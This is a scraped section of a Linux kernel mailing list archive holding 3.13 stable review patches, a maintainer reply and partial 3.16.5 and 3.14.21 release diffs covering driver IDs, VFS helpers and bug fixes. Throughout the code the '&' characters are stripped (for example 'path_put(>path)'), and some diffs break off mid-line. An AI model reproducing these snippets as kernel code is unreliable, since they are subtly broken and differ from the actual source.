--- a/fs/cifs/smb2ops.c
+++ b/fs/cifs/smb2ops.c
@@ -339,7 +339,7 @@ smb2_query_file_info(const unsigned int xid, struct 
cifs_tcon *tcon,
int rc;
struct smb2_file_all_info *smb2_data;
 
-   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2,
+   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2,
GFP_KERNEL);
if (smb2_data == NULL)
return -ENOMEM;
diff --git a/fs/cifs/smb2pdu.c b/fs/cifs/smb2pdu.c
index 2c4bb71..3adcb22 100644
--- a/fs/cifs/smb2pdu.c
+++ b/fs/cifs/smb2pdu.c
@@ -1540,7 +1540,7 @@ SMB2_query_info(const unsigned int xid, struct cifs_tcon 
*tcon,
 {
return query_info(xid, tcon, persistent_fid, volatile_fid,
  FILE_ALL_INFORMATION,
- sizeof(struct smb2_file_all_info) + MAX_NAME * 2,
+ sizeof(struct smb2_file_all_info) + PATH_MAX * 2,
  sizeof(struct smb2_file_all_info), data);
 }
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 013/163] ahci: Add Device IDs for Intel 9 Series PCH

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: James Ralston 

commit 1b071a0947dbce5c184c12262e02540fbc493457 upstream.

This patch adds the AHCI mode SATA Device IDs for the Intel 9 Series PCH.

Signed-off-by: James Ralston 
Signed-off-by: Tejun Heo 
Signed-off-by: Kamal Mostafa 
---
 drivers/ata/ahci.c | 8 
 1 file changed, 8 insertions(+)

diff --git a/drivers/ata/ahci.c b/drivers/ata/ahci.c
index 5e98993..95c297b 100644
--- a/drivers/ata/ahci.c
+++ b/drivers/ata/ahci.c
@@ -304,6 +304,14 @@ static const struct pci_device_id ahci_pci_tbl[] = {
{ PCI_VDEVICE(INTEL, 0x9c85), board_ahci }, /* Wildcat Point-LP RAID */
{ PCI_VDEVICE(INTEL, 0x9c87), board_ahci }, /* Wildcat Point-LP RAID */
{ PCI_VDEVICE(INTEL, 0x9c8f), board_ahci }, /* Wildcat Point-LP RAID */
+   { PCI_VDEVICE(INTEL, 0x8c82), board_ahci }, /* 9 Series AHCI */
+   { PCI_VDEVICE(INTEL, 0x8c83), board_ahci }, /* 9 Series AHCI */
+   { PCI_VDEVICE(INTEL, 0x8c84), board_ahci }, /* 9 Series RAID */
+   { PCI_VDEVICE(INTEL, 0x8c85), board_ahci }, /* 9 Series RAID */
+   { PCI_VDEVICE(INTEL, 0x8c86), board_ahci }, /* 9 Series RAID */
+   { PCI_VDEVICE(INTEL, 0x8c87), board_ahci }, /* 9 Series RAID */
+   { PCI_VDEVICE(INTEL, 0x8c8e), board_ahci }, /* 9 Series RAID */
+   { PCI_VDEVICE(INTEL, 0x8c8f), board_ahci }, /* 9 Series RAID */
 
/* JMicron 360/1/3/5/6, match class to avoid IDE function */
{ PCI_VENDOR_ID_JMICRON, PCI_ANY_ID, PCI_ANY_ID, PCI_ANY_ID,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 006/163] vfs: add d_is_dir()

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Miklos Szeredi 

commit 44b1d53043c482225196e8a9cd9f35163a1b3336 upstream.

Add d_is_dir(dentry) helper which is analogous to S_ISDIR().

To avoid confusion, rename d_is_directory() to d_can_lookup().

Signed-off-by: Miklos Szeredi 
Reviewed-by: J. Bruce Fields 
[ kamal: 3.13-stable prereq for a9c8259 "CIFS: Fix directory rename error" ]
Signed-off-by: Kamal Mostafa 
---
 fs/namei.c | 23 +++
 include/linux/dcache.h |  7 ++-
 2 files changed, 17 insertions(+), 13 deletions(-)

diff --git a/fs/namei.c b/fs/namei.c
index 31673f4..c0cd08d 100644
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -1786,7 +1786,7 @@ static int link_path_walk(const char *name, struct 
nameidata *nd)
if (err)
return err;
}
-   if (!d_is_directory(nd->path.dentry)) {
+   if (!d_can_lookup(nd->path.dentry)) {
err = -ENOTDIR; 
break;
}
@@ -1807,7 +1807,7 @@ static int path_init(int dfd, const char *name, unsigned 
int flags,
struct dentry *root = nd->root.dentry;
struct inode *inode = root->d_inode;
if (*name) {
-   if (!d_is_directory(root))
+   if (!d_can_lookup(root))
return -ENOTDIR;
retval = inode_permission(inode, MAY_EXEC);
if (retval)
@@ -1863,7 +1863,7 @@ static int path_init(int dfd, const char *name, unsigned 
int flags,
dentry = f.file->f_path.dentry;
 
if (*name) {
-   if (!d_is_directory(dentry)) {
+   if (!d_can_lookup(dentry)) {
fdput(f);
return -ENOTDIR;
}
@@ -1945,7 +1945,7 @@ static int path_lookupat(int dfd, const char *name,
err = complete_walk(nd);
 
if (!err && nd->flags & LOOKUP_DIRECTORY) {
-   if (!d_is_directory(nd->path.dentry)) {
+   if (!d_can_lookup(nd->path.dentry)) {
path_put(>path);
err = -ENOTDIR;
}
@@ -2405,11 +2405,11 @@ static int may_delete(struct inode *dir, struct dentry 
*victim, bool isdir)
IS_IMMUTABLE(inode) || IS_SWAPFILE(inode))
return -EPERM;
if (isdir) {
-   if (!d_is_directory(victim) && !d_is_autodir(victim))
+   if (!d_is_dir(victim))
return -ENOTDIR;
if (IS_ROOT(victim))
return -EBUSY;
-   } else if (d_is_directory(victim) || d_is_autodir(victim))
+   } else if (d_is_dir(victim))
return -EISDIR;
if (IS_DEADDIR(dir))
return -ENOENT;
@@ -3007,11 +3007,10 @@ finish_open:
}
audit_inode(name, nd->path.dentry, 0);
error = -EISDIR;
-   if ((open_flag & O_CREAT) &&
-   (d_is_directory(nd->path.dentry) || d_is_autodir(nd->path.dentry)))
+   if ((open_flag & O_CREAT) && d_is_dir(nd->path.dentry))
goto out;
error = -ENOTDIR;
-   if ((nd->flags & LOOKUP_DIRECTORY) && !d_is_directory(nd->path.dentry))
+   if ((nd->flags & LOOKUP_DIRECTORY) && !d_can_lookup(nd->path.dentry))
goto out;
if (!S_ISREG(nd->inode->i_mode))
will_truncate = false;
@@ -3735,7 +3734,7 @@ exit1:
 slashes:
if (d_is_negative(dentry))
error = -ENOENT;
-   else if (d_is_directory(dentry) || d_is_autodir(dentry))
+   else if (d_is_dir(dentry))
error = -EISDIR;
else
error = -ENOTDIR;
@@ -4114,7 +4113,7 @@ int vfs_rename(struct inode *old_dir, struct dentry 
*old_dentry,
   struct inode **delegated_inode)
 {
int error;
-   int is_dir = d_is_directory(old_dentry) || d_is_autodir(old_dentry);
+   int is_dir = d_is_dir(old_dentry);
const unsigned char *old_name;
 
if (old_dentry->d_inode == new_dentry->d_inode)
@@ -4207,7 +4206,7 @@ retry_deleg:
if (d_is_negative(old_dentry))
goto exit4;
/* unless the source is a directory trailing slashes give -ENOTDIR */
-   if (!d_is_directory(old_dentry) && !d_is_autodir(old_dentry)) {
+   if (!d_is_dir(old_dentry)) {
error = -ENOTDIR;
if (oldnd.last.name[oldnd.last.len])
goto exit4;
diff --git a/include/linux/dcache.h b/include/linux/dcache.h
index bf72e9a..3b50cac 100644
--- a/include/linux/dcache.h
+++ b/include/linux/dcache.h
@@ -429,7 +429,7 @@ static inline unsigned __d_entry_type(const struct dentry 
*dentry)
return dentry->d_flags & DCACHE_ENTRY_TYPE;
 }
 
-static inline 

[PATCH 3.13 001/163] regulatory: add NUL to alpha2

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Eliad Peller 

commit a5fe8e7695dc3f547e955ad2b662e3e72969e506 upstream.

alpha2 is defined as 2-chars array, but is used in multiple
places as string (e.g. with nla_put_string calls), which
might leak kernel data.

Solve it by simply adding an extra char for the NULL
terminator, making such operations safe.

Signed-off-by: Eliad Peller 
Signed-off-by: Johannes Berg 
Signed-off-by: Kamal Mostafa 
---
 include/net/regulatory.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/net/regulatory.h b/include/net/regulatory.h
index f17ed59..3e827aa 100644
--- a/include/net/regulatory.h
+++ b/include/net/regulatory.h
@@ -106,7 +106,7 @@ struct ieee80211_reg_rule {
 struct ieee80211_regdomain {
struct rcu_head rcu_head;
u32 n_reg_rules;
-   char alpha2[2];
+   char alpha2[3];
u8 dfs_region;
struct ieee80211_reg_rule reg_rules[];
 };
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 004/163] percpu: free percpu allocation info for uniprocessor system

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Honggang Li 

commit 3189eddbcafcc4d827f7f19facbeddec4424eba8 upstream.

Currently, only SMP system free the percpu allocation info.
Uniprocessor system should free it too. For example, one x86 UML
virtual machine with 256MB memory, UML kernel wastes one page memory.

Signed-off-by: Honggang Li 
Signed-off-by: Tejun Heo 
Signed-off-by: Kamal Mostafa 
---
 mm/percpu.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/mm/percpu.c b/mm/percpu.c
index 7d6ce15..02a89cb 100644
--- a/mm/percpu.c
+++ b/mm/percpu.c
@@ -1911,6 +1911,8 @@ void __init setup_per_cpu_areas(void)
 
if (pcpu_setup_first_chunk(ai, fc) < 0)
panic("Failed to initialize percpu areas.");
+
+   pcpu_free_alloc_info(ai);
 }
 
 #endif /* CONFIG_SMP */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] tty: serial: 8250_mtk: Fix quot calculation

2014-10-09 Thread Greg KH
On Thu, Oct 09, 2014 at 06:23:31PM +0200, Matthias Brugger wrote:
> The calculation of value quot for highspeed register set to three
> was wrong. This patch fixes the calculation so that the serial port
> for baudrates bigger then 576000 baud is working correctly.
> 
> Signed-off-by: Matthias Brugger 
> ---
>  drivers/tty/serial/8250/8250_mtk.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/tty/serial/8250/8250_mtk.c 
> b/drivers/tty/serial/8250/8250_mtk.c
> index 1c4b4bf..4376c48 100644
> --- a/drivers/tty/serial/8250/8250_mtk.c
> +++ b/drivers/tty/serial/8250/8250_mtk.c
> @@ -81,7 +81,7 @@ mtk8250_set_termios(struct uart_port *port, struct ktermios 
> *termios,
>   /* Set to highest baudrate supported */
>   if (baud >= 1152000)
>   baud = 921600;
> - quot = DIV_ROUND_CLOSEST(port->uartclk, 256 * baud);
> + quot = (port->uartclk / (256 * baud)) + 1;
>   }
>  
>   /*

Has this always been incorrect, or was it caused by a specific patch?
Should it go to the stable kernels?  If so, how far back?

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 014/163] ata_piix: Add Device IDs for Intel 9 Series PCH

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: James Ralston 

commit 6cad1376954e591c3c41500c4e586e183e7ffe6d upstream.

This patch adds the IDE mode SATA Device IDs for the Intel 9 Series PCH.

Signed-off-by: James Ralston 
Signed-off-by: Tejun Heo 
Signed-off-by: Kamal Mostafa 
---
 drivers/ata/ata_piix.c | 8 
 1 file changed, 8 insertions(+)

diff --git a/drivers/ata/ata_piix.c b/drivers/ata/ata_piix.c
index 6334c8d..39f76b9 100644
--- a/drivers/ata/ata_piix.c
+++ b/drivers/ata/ata_piix.c
@@ -340,6 +340,14 @@ static const struct pci_device_id piix_pci_tbl[] = {
{ 0x8086, 0x0F21, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_byt },
/* SATA Controller IDE (Coleto Creek) */
{ 0x8086, 0x23a6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata },
+   /* SATA Controller IDE (9 Series) */
+   { 0x8086, 0x8c88, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_snb },
+   /* SATA Controller IDE (9 Series) */
+   { 0x8086, 0x8c89, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_2port_sata_snb },
+   /* SATA Controller IDE (9 Series) */
+   { 0x8086, 0x8c80, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_sata_snb },
+   /* SATA Controller IDE (9 Series) */
+   { 0x8086, 0x8c81, PCI_ANY_ID, PCI_ANY_ID, 0, 0, ich8_sata_snb },
 
{ } /* terminate list */
 };
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 138/163] Fix nasty 32-bit overflow bug in buffer i/o code.

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Anton Altaparmakov 

commit f2d5a94436cc7cc0221b9a81bba2276a25187dd3 upstream.

On 32-bit architectures, the legacy buffer_head functions are not always
handling the sector number with the proper 64-bit types, and will thus
fail on 4TB+ disks.

Any code that uses __getblk() (and thus bread(), breadahead(),
sb_bread(), sb_breadahead(), sb_getblk()), and calls it using a 64-bit
block on a 32-bit arch (where "long" is 32-bit) causes an inifinite loop
in __getblk_slow() with an infinite stream of errors logged to dmesg
like this:

  __find_get_block_slow() failed. block=6740375944, b_blocknr=2445408648
  b_state=0x0020, b_size=512
  device sda1 blocksize: 512

Note how in hex block is 0x191C1F988 and b_blocknr is 0x91C1F988 i.e. the
top 32-bits are missing (in this case the 0x1 at the top).

This is because grow_dev_page() is broken and has a 32-bit overflow due
to shifting the page index value (a pgoff_t - which is just 32 bits on
32-bit architectures) left-shifted as the block number.  But the top
bits to get lost as the pgoff_t is not type cast to sector_t / 64-bit
before the shift.

This patch fixes this issue by type casting "index" to sector_t before
doing the left shift.

Note this is not a theoretical bug but has been seen in the field on a
4TiB hard drive with logical sector size 512 bytes.

This patch has been verified to fix the infinite loop problem on 3.17-rc5
kernel using a 4TB disk image mounted using "-o loop".  Without this patch
doing a "find /nt" where /nt is an NTFS volume causes the inifinite loop
100% reproducibly whilst with the patch it works fine as expected.

Signed-off-by: Anton Altaparmakov 
Signed-off-by: Linus Torvalds 
Signed-off-by: Kamal Mostafa 
---
 fs/buffer.c | 6 --
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/fs/buffer.c b/fs/buffer.c
index aeeea65..be90719 100644
--- a/fs/buffer.c
+++ b/fs/buffer.c
@@ -1029,7 +1029,8 @@ grow_dev_page(struct block_device *bdev, sector_t block,
bh = page_buffers(page);
if (bh->b_size == size) {
end_block = init_page_buffers(page, bdev,
-   index << sizebits, size);
+   (sector_t)index << sizebits,
+   size);
goto done;
}
if (!try_to_free_buffers(page))
@@ -1050,7 +1051,8 @@ grow_dev_page(struct block_device *bdev, sector_t block,
 */
spin_lock(>i_mapping->private_lock);
link_dev_buffers(page, bh);
-   end_block = init_page_buffers(page, bdev, index << sizebits, size);
+   end_block = init_page_buffers(page, bdev, (sector_t)index << sizebits,
+   size);
spin_unlock(>i_mapping->private_lock);
 done:
ret = (block < end_block) ? 1 : -ENXIO;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 019/163] USB: sierra: add 1199:68AA device ID

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: =?UTF-8?q?Bj=C3=B8rn=20Mork?= 

commit 5b3da69285c143b7ea76b3b9f73099ff1093ab73 upstream.

This VID:PID is used for some Direct IP devices behaving
identical to the already supported 0F3D:68AA devices.

Reported-by: Lars Melin 
Signed-off-by: Bjørn Mork 
Signed-off-by: Johan Hovold 
Signed-off-by: Kamal Mostafa 
---
 drivers/usb/serial/sierra.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/drivers/usb/serial/sierra.c b/drivers/usb/serial/sierra.c
index aa69283..c0a59fd 100644
--- a/drivers/usb/serial/sierra.c
+++ b/drivers/usb/serial/sierra.c
@@ -285,6 +285,9 @@ static const struct usb_device_id id_table[] = {
{ USB_DEVICE_AND_INTERFACE_INFO(0x1199, 0x68A3, 0xFF, 0xFF, 0xFF),
  .driver_info = (kernel_ulong_t)_ip_interface_blacklist
},
+   { USB_DEVICE_AND_INTERFACE_INFO(0x1199, 0x68AA, 0xFF, 0xFF, 0xFF),
+ .driver_info = (kernel_ulong_t)_ip_interface_blacklist
+   },
/* AT Direct IP LTE modems */
{ USB_DEVICE_AND_INTERFACE_INFO(0x0F3D, 0x68AA, 0xFF, 0xFF, 0xFF),
  .driver_info = (kernel_ulong_t)_ip_interface_blacklist
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 020/163] iommu/arm-smmu: fix programming of SMMU_CBn_TCR for stage 1

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Olav Haugan 

commit 1fc870c7efa364862c3bc792cfbdb38afea26742 upstream.

Stage-1 context banks do not have the SMMU_CBn_TCR[SL0] field since it
is only applicable to stage-2 context banks.

This patch ensures that we don't set the reserved TCR bits for stage-1
translations.

Signed-off-by: Olav Haugan 
Signed-off-by: Will Deacon 
Signed-off-by: Kamal Mostafa 
---
 drivers/iommu/arm-smmu.c | 7 +--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/drivers/iommu/arm-smmu.c b/drivers/iommu/arm-smmu.c
index 0d3e4e6..91739bf 100644
--- a/drivers/iommu/arm-smmu.c
+++ b/drivers/iommu/arm-smmu.c
@@ -793,8 +793,11 @@ static void arm_smmu_init_context_bank(struct 
arm_smmu_domain *smmu_domain)
reg |= TTBCR_EAE |
  (TTBCR_SH_IS << TTBCR_SH0_SHIFT) |
  (TTBCR_RGN_WBWA << TTBCR_ORGN0_SHIFT) |
- (TTBCR_RGN_WBWA << TTBCR_IRGN0_SHIFT) |
- (TTBCR_SL0_LVL_1 << TTBCR_SL0_SHIFT);
+ (TTBCR_RGN_WBWA << TTBCR_IRGN0_SHIFT);
+
+   if (!stage1)
+   reg |= (TTBCR_SL0_LVL_1 << TTBCR_SL0_SHIFT);
+
writel_relaxed(reg, cb_base + ARM_SMMU_CB_TTBCR);
 
/* MAIR0 (stage-1 only) */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 015/163] Revert "iwlwifi: dvm: don't enable CTS to self"

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Emmanuel Grumbach 

commit f47f46d7b09cf1d09e4b44b6cc4dd7d68a08028c upstream.

This reverts commit 43d826ca5979927131685cc2092c7ce862cb91cd.

This commit caused packet loss.

Signed-off-by: Emmanuel Grumbach 
Signed-off-by: Kamal Mostafa 
---
 drivers/net/wireless/iwlwifi/dvm/rxon.c | 12 
 1 file changed, 12 insertions(+)

diff --git a/drivers/net/wireless/iwlwifi/dvm/rxon.c 
b/drivers/net/wireless/iwlwifi/dvm/rxon.c
index 6a5b759..d7ce2f1 100644
--- a/drivers/net/wireless/iwlwifi/dvm/rxon.c
+++ b/drivers/net/wireless/iwlwifi/dvm/rxon.c
@@ -1068,6 +1068,13 @@ int iwlagn_commit_rxon(struct iwl_priv *priv, struct 
iwl_rxon_context *ctx)
/* recalculate basic rates */
iwl_calc_basic_rates(priv, ctx);
 
+   /*
+* force CTS-to-self frames protection if RTS-CTS is not preferred
+* one aggregation protection method
+*/
+   if (!priv->hw_params.use_rts_for_aggregation)
+   ctx->staging.flags |= RXON_FLG_SELF_CTS_EN;
+
if ((ctx->vif && ctx->vif->bss_conf.use_short_slot) ||
!(ctx->staging.flags & RXON_FLG_BAND_24G_MSK))
ctx->staging.flags |= RXON_FLG_SHORT_SLOT_MSK;
@@ -1473,6 +1480,11 @@ void iwlagn_bss_info_changed(struct ieee80211_hw *hw,
else
ctx->staging.flags &= ~RXON_FLG_TGG_PROTECT_MSK;
 
+   if (bss_conf->use_cts_prot)
+   ctx->staging.flags |= RXON_FLG_SELF_CTS_EN;
+   else
+   ctx->staging.flags &= ~RXON_FLG_SELF_CTS_EN;
+
memcpy(ctx->staging.bssid_addr, bss_conf->bssid, ETH_ALEN);
 
if (vif->type == NL80211_IFTYPE_AP ||
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] net sched: text ematch: zero out ts_state before using it

2014-10-09 Thread Cong Wang
On Thu, Oct 9, 2014 at 9:05 AM, Omar Sandoval  wrote:
> textsearch_find zeroes out the offset, but the control buffer (which may or 
> may
> not matter in this case) needs to be zeroed out as well.

Why? skb_prepare_seq_read() initializes the cb.

Also, the comment says:

 * @state: uninitialized textsearch state variable
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: Linux 3.16.5

2014-10-09 Thread Greg KH
diff --git a/Makefile b/Makefile
index e75c75f0ec35..41efc3d9f2e0 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,6 @@
 VERSION = 3
 PATCHLEVEL = 16
-SUBLEVEL = 4
+SUBLEVEL = 5
 EXTRAVERSION =
 NAME = Museum of Fishiegoodies
 
diff --git a/arch/ia64/pci/fixup.c b/arch/ia64/pci/fixup.c
index 1fe9aa5068ea..fc505d58f078 100644
--- a/arch/ia64/pci/fixup.c
+++ b/arch/ia64/pci/fixup.c
@@ -6,6 +6,7 @@
 #include 
 #include 
 #include 
+#include 
 
 #include 
 
@@ -61,8 +62,7 @@ static void pci_fixup_video(struct pci_dev *pdev)
pci_read_config_word(pdev, PCI_COMMAND, );
if (config & (PCI_COMMAND_IO | PCI_COMMAND_MEMORY)) {
pdev->resource[PCI_ROM_RESOURCE].flags |= 
IORESOURCE_ROM_SHADOW;
-   dev_printk(KERN_DEBUG, >dev, "Boot video 
device\n");
-   vga_set_default_device(pdev);
+   dev_printk(KERN_DEBUG, >dev, "Video device with 
shadowed ROM\n");
}
}
 }
diff --git a/arch/x86/include/asm/vga.h b/arch/x86/include/asm/vga.h
index 44282fbf7bf9..c4b9dc2f67c5 100644
--- a/arch/x86/include/asm/vga.h
+++ b/arch/x86/include/asm/vga.h
@@ -17,10 +17,4 @@
 #define vga_readb(x) (*(x))
 #define vga_writeb(x, y) (*(y) = (x))
 
-#ifdef CONFIG_FB_EFI
-#define __ARCH_HAS_VGA_DEFAULT_DEVICE
-extern struct pci_dev *vga_default_device(void);
-extern void vga_set_default_device(struct pci_dev *pdev);
-#endif
-
 #endif /* _ASM_X86_VGA_H */
diff --git a/arch/x86/pci/fixup.c b/arch/x86/pci/fixup.c
index b5e60268d93f..9a2b7101ae8a 100644
--- a/arch/x86/pci/fixup.c
+++ b/arch/x86/pci/fixup.c
@@ -350,8 +350,7 @@ static void pci_fixup_video(struct pci_dev *pdev)
pci_read_config_word(pdev, PCI_COMMAND, );
if (config & (PCI_COMMAND_IO | PCI_COMMAND_MEMORY)) {
pdev->resource[PCI_ROM_RESOURCE].flags |= 
IORESOURCE_ROM_SHADOW;
-   dev_printk(KERN_DEBUG, >dev, "Boot video 
device\n");
-   vga_set_default_device(pdev);
+   dev_printk(KERN_DEBUG, >dev, "Video device with 
shadowed ROM\n");
}
}
 }
diff --git a/drivers/cpufreq/integrator-cpufreq.c 
b/drivers/cpufreq/integrator-cpufreq.c
index e5122f1bfe78..302eb5c55d01 100644
--- a/drivers/cpufreq/integrator-cpufreq.c
+++ b/drivers/cpufreq/integrator-cpufreq.c
@@ -213,9 +213,9 @@ static int __init integrator_cpufreq_probe(struct 
platform_device *pdev)
return cpufreq_register_driver(_driver);
 }
 
-static void __exit integrator_cpufreq_remove(struct platform_device *pdev)
+static int __exit integrator_cpufreq_remove(struct platform_device *pdev)
 {
-   cpufreq_unregister_driver(_driver);
+   return cpufreq_unregister_driver(_driver);
 }
 
 static const struct of_device_id integrator_cpufreq_match[] = {
diff --git a/drivers/cpufreq/pcc-cpufreq.c b/drivers/cpufreq/pcc-cpufreq.c
index 728a2d879499..4d2c8e861089 100644
--- a/drivers/cpufreq/pcc-cpufreq.c
+++ b/drivers/cpufreq/pcc-cpufreq.c
@@ -204,7 +204,6 @@ static int pcc_cpufreq_target(struct cpufreq_policy *policy,
u32 input_buffer;
int cpu;
 
-   spin_lock(_lock);
cpu = policy->cpu;
pcc_cpu_data = per_cpu_ptr(pcc_cpu_info, cpu);
 
@@ -216,6 +215,7 @@ static int pcc_cpufreq_target(struct cpufreq_policy *policy,
freqs.old = policy->cur;
freqs.new = target_freq;
cpufreq_freq_transition_begin(policy, );
+   spin_lock(_lock);
 
input_buffer = 0x1 | (((target_freq * 100)
   / (ioread32(_hdr->nominal) * 1000)) << 8);
diff --git a/drivers/gpu/drm/i915/i915_gem_gtt.c 
b/drivers/gpu/drm/i915/i915_gem_gtt.c
index 8b3cde703364..8faabb95cd65 100644
--- a/drivers/gpu/drm/i915/i915_gem_gtt.c
+++ b/drivers/gpu/drm/i915/i915_gem_gtt.c
@@ -1297,6 +1297,16 @@ void i915_check_and_clear_faults(struct drm_device *dev)
POSTING_READ(RING_FAULT_REG(_priv->ring[RCS]));
 }
 
+static void i915_ggtt_flush(struct drm_i915_private *dev_priv)
+{
+   if (INTEL_INFO(dev_priv->dev)->gen < 6) {
+   intel_gtt_chipset_flush();
+   } else {
+   I915_WRITE(GFX_FLSH_CNTL_GEN6, GFX_FLSH_CNTL_EN);
+   POSTING_READ(GFX_FLSH_CNTL_GEN6);
+   }
+}
+
 void i915_gem_suspend_gtt_mappings(struct drm_device *dev)
 {
struct drm_i915_private *dev_priv = dev->dev_private;
@@ -1313,6 +1323,8 @@ void i915_gem_suspend_gtt_mappings(struct drm_device *dev)
   dev_priv->gtt.base.start,
   dev_priv->gtt.base.total,
   true);
+
+   i915_ggtt_flush(dev_priv);
 }
 
 void i915_gem_restore_gtt_mappings(struct drm_device *dev)
@@ -1365,7 +1377,7 @@ void i915_gem_restore_gtt_mappings(struct drm_device *dev)
gen6_write_pdes(container_of(vm, struct i915_hw_ppgtt, base));
}
 
-   i915_gem_chipset_flush(dev);
+   

Re: Linux 3.14.21

2014-10-09 Thread Greg KH
diff --git a/Makefile b/Makefile
index beb7e6f0803b..41e6e19fe2e9 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,6 @@
 VERSION = 3
 PATCHLEVEL = 14
-SUBLEVEL = 20
+SUBLEVEL = 21
 EXTRAVERSION =
 NAME = Remembering Coco
 
diff --git a/arch/unicore32/include/asm/mmu_context.h 
b/arch/unicore32/include/asm/mmu_context.h
index fb5e4c658f7a..ef470a7a3d0f 100644
--- a/arch/unicore32/include/asm/mmu_context.h
+++ b/arch/unicore32/include/asm/mmu_context.h
@@ -14,6 +14,8 @@
 
 #include 
 #include 
+#include 
+#include 
 #include 
 
 #include 
@@ -73,7 +75,7 @@ do { \
else \
mm->mmap = NULL; \
rb_erase(_vma->vm_rb, >mm_rb); \
-   mm->mmap_cache = NULL; \
+   vmacache_invalidate(mm); \
mm->map_count--; \
remove_vma(high_vma); \
} \
diff --git a/drivers/block/drbd/drbd_nl.c b/drivers/block/drbd/drbd_nl.c
index c706d50a8b06..8c16c2f97026 100644
--- a/drivers/block/drbd/drbd_nl.c
+++ b/drivers/block/drbd/drbd_nl.c
@@ -525,6 +525,12 @@ void conn_try_outdate_peer_async(struct drbd_tconn *tconn)
struct task_struct *opa;
 
kref_get(>kref);
+   /* We may just have force_sig()'ed this thread
+* to get it out of some blocking network function.
+* Clear signals; otherwise kthread_run(), which internally uses
+* wait_on_completion_killable(), will mistake our pending signal
+* for a new fatal signal and fail. */
+   flush_signals(current);
opa = kthread_run(_try_outdate_peer_async, tconn, "drbd_async_h");
if (IS_ERR(opa)) {
conn_err(tconn, "out of mem, failed to invoke fence-peer 
helper\n");
diff --git a/drivers/cpufreq/integrator-cpufreq.c 
b/drivers/cpufreq/integrator-cpufreq.c
index 0e27844e8c2d..8089dd2cd9d8 100644
--- a/drivers/cpufreq/integrator-cpufreq.c
+++ b/drivers/cpufreq/integrator-cpufreq.c
@@ -213,9 +213,9 @@ static int __init integrator_cpufreq_probe(struct 
platform_device *pdev)
return cpufreq_register_driver(_driver);
 }
 
